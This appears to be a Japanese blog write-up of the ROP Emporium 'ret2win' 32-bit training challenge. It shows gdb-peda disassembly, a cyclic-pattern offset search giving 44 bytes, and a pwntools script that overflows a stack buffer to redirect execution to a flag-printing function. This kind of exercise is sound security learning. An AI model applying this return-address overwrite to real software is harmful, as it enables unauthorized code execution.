ROP Emporium ret2win (32bit)
ROP Emporium
ROP Emporium
ROPの練習サイトです.
2020年7月に更新されていろいろ変わってるみたい.
ret2win (32bit)
$ ./ret2win32 ret2win by ROP Emporium x86 For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer! What could possibly go wrong? You there, may I have your input please? And don't worry about null bytes, we're using read()! > aaaa Thank you! Exiting $ ./ret2win32 ret2win by ROP Emporium x86 For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer! What could possibly go wrong? You there, may I have your input please? And don't worry about null bytes, we're using read()! > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Thank you! Segmentation fault
gdbで解析していきます.
$ gdb ./ret2win gdb-peda$ i func All defined functions: Non-debugging symbols: 0x08048374 _init 0x080483b0 read@plt 0x080483c0 printf@plt 0x080483d0 puts@plt 0x080483e0 system@plt 0x080483f0 __libc_start_main@plt 0x08048400 setvbuf@plt 0x08048410 memset@plt 0x08048420 __gmon_start__@plt 0x08048430 _start 0x08048470 _dl_relocate_static_pie 0x08048480 __x86.get_pc_thunk.bx 0x08048490 deregister_tm_clones 0x080484d0 register_tm_clones 0x08048510 __do_global_dtors_aux 0x08048540 frame_dummy 0x08048546 main 0x080485ad pwnme 0x0804862c ret2win 0x08048660 __libc_csu_init 0x080486c0 __libc_csu_fini 0x080486c4 _fini
ret2win
という関数があります.
gdb-peda$ disas ret2win Dump of assembler code for function ret2win: 0x0804862c <+0>: push ebp 0x0804862d <+1>: mov ebp,esp 0x0804862f <+3>: sub esp,0x8 0x08048632 <+6>: sub esp,0xc 0x08048635 <+9>: push 0x80487f6 0x0804863a <+14>: call 0x80483d0 <puts@plt> 0x0804863f <+19>: add esp,0x10 0x08048642 <+22>: sub esp,0xc 0x08048645 <+25>: push 0x8048813 0x0804864a <+30>: call 0x80483e0 <system@plt> 0x0804864f <+35>: add esp,0x10 0x08048652 <+38>: nop 0x08048653 <+39>: leave 0x08048654 <+40>: ret End of assembler dump. gdb-peda$ x/s 0x8048813 0x8048813: "/bin/cat flag.txt"
flag.txt
を表示してくれる関数みたい.
main
を見ていきます.
gdb-peda$ disas main Dump of assembler code for function main: 0x08048546 <+0>: lea ecx,[esp+0x4] 0x0804854a <+4>: and esp,0xfffffff0 0x0804854d <+7>: push DWORD PTR [ecx-0x4] 0x08048550 <+10>: push ebp 0x08048551 <+11>: mov ebp,esp 0x08048553 <+13>: push ecx 0x08048554 <+14>: sub esp,0x4 0x08048557 <+17>: mov eax,ds:0x804a030 0x0804855c <+22>: push 0x0 0x0804855e <+24>: push 0x2 0x08048560 <+26>: push 0x0 0x08048562 <+28>: push eax 0x08048563 <+29>: call 0x8048400 <setvbuf@plt> 0x08048568 <+34>: add esp,0x10 0x0804856b <+37>: sub esp,0xc 0x0804856e <+40>: push 0x80486e0 0x08048573 <+45>: call 0x80483d0 <puts@plt> 0x08048578 <+50>: add esp,0x10 0x0804857b <+53>: sub esp,0xc 0x0804857e <+56>: push 0x80486f8 0x08048583 <+61>: call 0x80483d0 <puts@plt> 0x08048588 <+66>: add esp,0x10 0x0804858b <+69>: call 0x80485ad <pwnme> 0x08048590 <+74>: sub esp,0xc 0x08048593 <+77>: push 0x80486fd 0x08048598 <+82>: call 0x80483d0 <puts@plt> 0x0804859d <+87>: add esp,0x10 0x080485a0 <+90>: mov eax,0x0 0x080485a5 <+95>: mov ecx,DWORD PTR [ebp-0x4] 0x080485a8 <+98>: leave 0x080485a9 <+99>: lea esp,[ecx-0x4] 0x080485ac <+102>: ret End of assembler dump.
pwnme
が呼ばれています.
gdb-peda$ disas pwnme Dump of assembler code for function pwnme: 0x080485ad <+0>: push ebp 0x080485ae <+1>: mov ebp,esp 0x080485b0 <+3>: sub esp,0x28 0x080485b3 <+6>: sub esp,0x4 0x080485b6 <+9>: push 0x20 0x080485b8 <+11>: push 0x0 0x080485ba <+13>: lea eax,[ebp-0x28] 0x080485bd <+16>: push eax 0x080485be <+17>: call 0x8048410 <memset@plt> 0x080485c3 <+22>: add esp,0x10 0x080485c6 <+25>: sub esp,0xc 0x080485c9 <+28>: push 0x8048708 0x080485ce <+33>: call 0x80483d0 <puts@plt> 0x080485d3 <+38>: add esp,0x10 0x080485d6 <+41>: sub esp,0xc 0x080485d9 <+44>: push 0x8048768 0x080485de <+49>: call 0x80483d0 <puts@plt> 0x080485e3 <+54>: add esp,0x10 0x080485e6 <+57>: sub esp,0xc 0x080485e9 <+60>: push 0x8048788 0x080485ee <+65>: call 0x80483d0 <puts@plt> 0x080485f3 <+70>: add esp,0x10 0x080485f6 <+73>: sub esp,0xc 0x080485f9 <+76>: push 0x80487e8 0x080485fe <+81>: call 0x80483c0 <printf@plt> 0x08048603 <+86>: add esp,0x10 0x08048606 <+89>: sub esp,0x4 0x08048609 <+92>: push 0x38 0x0804860b <+94>: lea eax,[ebp-0x28] 0x0804860e <+97>: push eax 0x0804860f <+98>: push 0x0 0x08048611 <+100>: call 0x80483b0 <read@plt> 0x08048616 <+105>: add esp,0x10 0x08048619 <+108>: sub esp,0xc 0x0804861c <+111>: push 0x80487eb 0x08048621 <+116>: call 0x80483d0 <puts@plt> 0x08048626 <+121>: add esp,0x10 0x08048629 <+124>: nop 0x0804862a <+125>: leave 0x0804862b <+126>: ret End of assembler dump.
memset
で32(=0x20)byteしか確保されてないけど, read
で最大56(=0x38)byteまで読み込める. ここでバッファオーバーフローが起きそうです.
offsetを調べます.
gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r [----------------------------------registers-----------------------------------] EAX: 0xb ('\x0b') EBX: 0x0 ECX: 0xffffffff EDX: 0xffffffff ESI: 0xf7fb4000 --> 0x1e4d6c EDI: 0xf7fb4000 --> 0x1e4d6c EBP: 0x41304141 ('AA0A') ESP: 0xffffdbc0 ("bAA1AAGA") EIP: 0x41414641 ('AFAA') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) gdb-peda$ patto AFAA AFAA found at offset: 44
offsetは44
リターンアドレスを書き換えてret2win
を呼び出します.
(今回は必要ない気がするけど)スクリプトを書いた.
from pwn import * p=process('./ret2win32') e=ELF('./ret2win32') ret2win=e.symbols['ret2win'] payload=b'A'*44+p32(ret2win) p.recv() p.sendline(payload) print(p.recvall().decode())